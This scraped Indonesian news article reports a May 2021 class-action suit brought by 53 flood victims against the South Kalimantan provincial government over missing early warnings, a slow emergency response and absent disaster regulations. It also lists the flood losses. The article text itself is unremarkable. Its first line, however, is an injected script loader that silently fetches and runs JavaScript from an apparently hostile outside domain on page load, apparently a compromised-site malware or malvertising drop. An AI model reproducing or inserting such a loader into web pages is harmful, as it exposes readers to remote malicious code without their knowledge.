(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pasca bencana banjir besar di Provinsi Kalimantan Selatan (Kalsel) Januari silam berbuntut gugatan. Pemerintah Provinsi (Pemprov) Kalsel secara resmi digugat ke Pengadilan Tata Usana Negara (PTUN) Banjarmasin.
Gugatan perwakilan kelompok alias class action kepada Pemprov Kalsel dilakukan oleh Tim Advokasi Hukum Korban Banjir Kalsel.
Gugatan secara resmi dilayangkan ke PTUN Banjarmasin dengan nomor register BJM-052021I4U, pada Jumat (28/5/2021) kemarin.
Dalam gugatan tersebut, ada 53 orang atau korban bencana banjir dari 6 kabupaten di Provinsi Kalsel yang melimpahkan kuasa hukum ke Tim Advokasi Hukum Korban Banjir Kalsel.
Baca juga: Bangun Gedung Layanan Khusus Penyandang Disabilitas
Muhammad Pazri, Koordinator Tim Advokasi Hukum Korban Banjir Kalsel mengatakan, dalam hal gugatan ini, ada tiga hal yang digugat terhadap Pemprov Kalsel.
Diantaranya yaitu tidak dilakukannya peringatan dini pada saat bencana banjir di Kalsel pada Januari lalu. Kedua lambatnya penanggulangan saat tanggap darurat banjir di Kalsel, dan ketiga tidak dibuatnya peraturan petunjuk teknis berupa Peraturan Gubernur tentang penanggulangan bencana di Kalsel.
“Sebenarnya ada ratusan yang mengadu, namun saat dikonfirmasi kembali hanya 64 orang yang merespon. Setelah diverifikasi lebih lanjut, tersisa 53 orang yang lolos sesuai dengan persyaratan dan ketetuan hukum yang berlaku,” ujar Pazri, saat konferensi pers, Sabtu (29/5/2021) siang.
Dalam hal ini, Tim Advokasi Hukum Korban Banjir Kalsel menuntut agar PTUN mengabulkan gugatan tersebut, dan menyatakan tindakan Pemprov Kalsel dalam tiga hal tersebut telah melakukan pelanggaran hukum.
Pemprov Kalsel digugat agar mengevaluasi dalam hal pertambangan dan lingkungan. Pemprov Kalsel juga diminta ganti rugi atas kerugian yang dialami para korban yang terdampak banjir di Kalsel pada Januari silam.
“Jadi selain meminta ganti rugi untuk para korban, kita juga meminta perbaikan kebijakan pemerintah, baik dalam peraturan, kebijakan hingga materinya,” ucap Koordinator Tim Advokasi Hukum Korban Banjir Kalsel.
Data yang dihimpun oleh Tim Advokasi Hukum Korban Banjir Kalsel, pasca banjir Kalsel pada Januari silam, 53 warga tersebut mengalami kerugian kurang lebih sebesar Rp 890 juta.
Baca juga: Kebakaran Eks Pasar Bauntung Habiskan 24 Kios, Sekda: Aliran Listrik Sudah Tidak Berfungsi
Sementara itu, dalam sektor pendidikan mengalami kerugian sebesar Rp 30 miliar, pada sektor kesehatan dan perlindungan sosial mengalami kerugian kurang lebih sebesar Rp 27 miliar.
Sektor infrastruktur mengalami kerugian kurang lebih sebesar Rp 424 miliar, dalam sektor perikanan mengalami kerugian kurang lebih sebesar Rp 46 miliar, dalam sektor produktivitas masyarakat mengalami kerugian kurang lebih sebesar Rp 604 miliar. Sektor pertanian mengalami kerugian kurang lebih sebesar Rp 216 miliar.
Menurut hasil dari pendataan tim reaksi cepat pusat teknologi pengembangan sumber daya wilayah Badan Pengkajian dan Penerepan Teknologi (BPPT), per tanggal 22 Januari 2021, bencana banjir yang melanda Kalsel mengakibat kerugian kurang lebih sebesar Rp 1,3 triliun dari semua faktor tersebut.
Pazri juga mengungkapkan, sebelumnya pihaknya sudah mengirimkan surat keberatan kepada Pemprov Kalsel pada tanggal 30 Maret 2021, namun tidak ada tanggapan. Melihat hal tersebut, lantas pihaknya melakukan banding administratif ke Presiden Republik Indonesia yang dikirimkan melalui jasa pengiriman pada tanggal 14 April 2021. Diterima oleh persuratan Kepresidenan Republik Indonesia pada tanggal 16 April 2021, namun juga tidak ada tanggapan.
“Karena tidak adanya tanggapan dari hal tersebut, lantas kami mengajukan gugatan terhadap Pemprov Kalsel melalui layanan E-Court PTUN Banjarmasin, dengan pokok gugatan perbuatan melanggar hukum oleh badan dan atau pejabat pemerintah,” beber Pazri.
Hingga saat ini, untuk identitas ke 53 warga tersebut masih dirahasiakan, demi keamanan dan kedamaian warga tersebut.
Baca juga: Polisi Turunkan Tim Selidiki Penyebab Kebakaran Eks Pasar Bauntung Banjarbaru
“Namun kita juga mengharapkan ke 53 warga ini bisa berhadir saat dilakukannya persidangan nanti. Jadi disitulah baru bisa dibuka identitas ke 53 warga tersebut,” tutur Pazri.
Pazri kembali mengingatkan, gugatan ini, sama sekali tidak ada sangkut pautnya dengan urusan politik, dan murni dengan niat ingin membantu para korban tersebut.
“Yang pastinya ini murni tidak menyangkut masalah politik. Karenakan mungkin saja ada orang orang yang berpikir ada sangkut pautnya dengan urusan politik karena masih ramainya dengan suasana PSU,” pungkas Pazri. (kanalkaliamantan.com/tius)
Reporter: tius
Editor: kk
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.